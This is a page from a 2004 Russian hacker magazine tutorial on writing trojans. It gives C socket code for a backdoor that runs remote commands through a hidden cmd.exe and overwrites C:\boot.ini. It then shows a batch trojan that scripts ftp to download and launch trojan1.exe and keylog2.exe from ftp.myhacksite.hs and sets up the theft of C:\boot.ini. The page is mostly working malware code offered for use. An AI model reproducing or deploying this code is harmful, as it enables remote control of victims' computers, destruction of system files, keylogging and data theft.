Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

Одиссея программиста

Hi-Tech

Спецвыпуск: Хакер, номер #048, стр. 048-054-4


char type[2], buf2[126]; //создаем буфер

while(true) {

SOCKET new_sock = accept(listet_Sock,0,0); //слушаем

while(true) {

int i = recv(new_sock, type, 2, 0); //загоняем в цикл

recv(new_sock, buf2, 126, 0); //принимаем 126 байт

if ((i== SOCKET_ERROR)||(i == 0)) break; //если ошибка - отключаемся

if (type[0] == 'f')

ShellExecuteA(NULL, "open", "cmd.exe","/C echo Admin Lamer > C:\boot.ini",

NULL, SW_HIDE); //если «f» - пишем в boot.ini Admin Lamer

// А если «C» – выполняем команду

if (type[0] == 'c') {

char buf2_cmd[129] = "/c ";

strcat(buf2_cmd,buf2);

ShellExecuteA(NULL, "open", "cmd.exe", buf2_cmd, NULL, SW_HIDE);

}

shutdown(new_sock,1); //вырубаем сокет

closesocket(new_sock);

}

}

Извращения с BATCH

Конечно, batch не идет ни в какое сравнения с bash, но и на нем можно писать вполне функциональные вещи.

Действие трояна, написанного на batch, основывается на запуске команд, таких, как ftp. Определимся, что должно уметь наше творение. Для начала мы научим его скачивать что-либо с нашего ftp-сервера и утаскивать какой-нибудь определенный файл с зараженного компа, пусть это будет C:\boot.ini.

Итак, создаем файл Troj.bat, открываем его на редактирование и вбиваем в него то, что можно увидеть во врезке.

echo open ftp.myhacksite.hs:21 > main.scn

rem Этим самым мы создадим файл сценария для ftp, называщийся main.scn, и запишем в него первую строчку, которая даст команду ftp – подконнектиться к ftp.myhacksite.hs на 21-й порт. Порт 21 задан по дефолту, и его можно не указывать, если ftpd на удаленном сервере открывает именно его. Обрати внимание: «ftp://» писать нельзя!

echo user admin> > main.scn

rem Команда user означает имя пользователя, далее запросится пароль. При этом команду вводить не надо, просто запишем пароль.

echo admin> > main.scn

rem Мы наверняка собираемся заливать что-нибудь новенькое, например, новую версию, которая будет более функциональна. Для этого нам потребуется заливать бинарные файлы (по умолчанию стоит тип ASCII). Указываем тип, в нашем случае - binary. И на этом написание сценария завершится.

echo binary> > main.scn

rem Указываем, что мы будем заливать. Учитываем то, что эти файлы должны лежать в домашней ftp-директории, куда попадает пользователь при входе. Если же ты не получается писать в homedir (особенно в случаях, когда доступ анонимный и существует папка incoming), необходимо выполнить команду «cd directory», а уже потом заливать находящиеся в ней файлы.

echo get trojan1.exe> > main.scn

echo get keylog2.exe> > main.scn

rem Попрощаемся с сервером :), то есть просто разорвем коннект специальной командой «bye».

echo bye> > main.scn

rem Запускаем ftp с параметрами для выполнения написанного нами сценария

ftp -s:main.scn –nd

rem Запускаем скачанные файлы

start trojan1.exe

start keylog2.exe

rem А теперь тащим файл C:\boot.ini с помощью все того же ftp. Пишем новый сценарий или просто добавляем пару строк в предыдущий.

Назад на стр. 048-054-3  Содержание  Вперед на стр. 048-054-5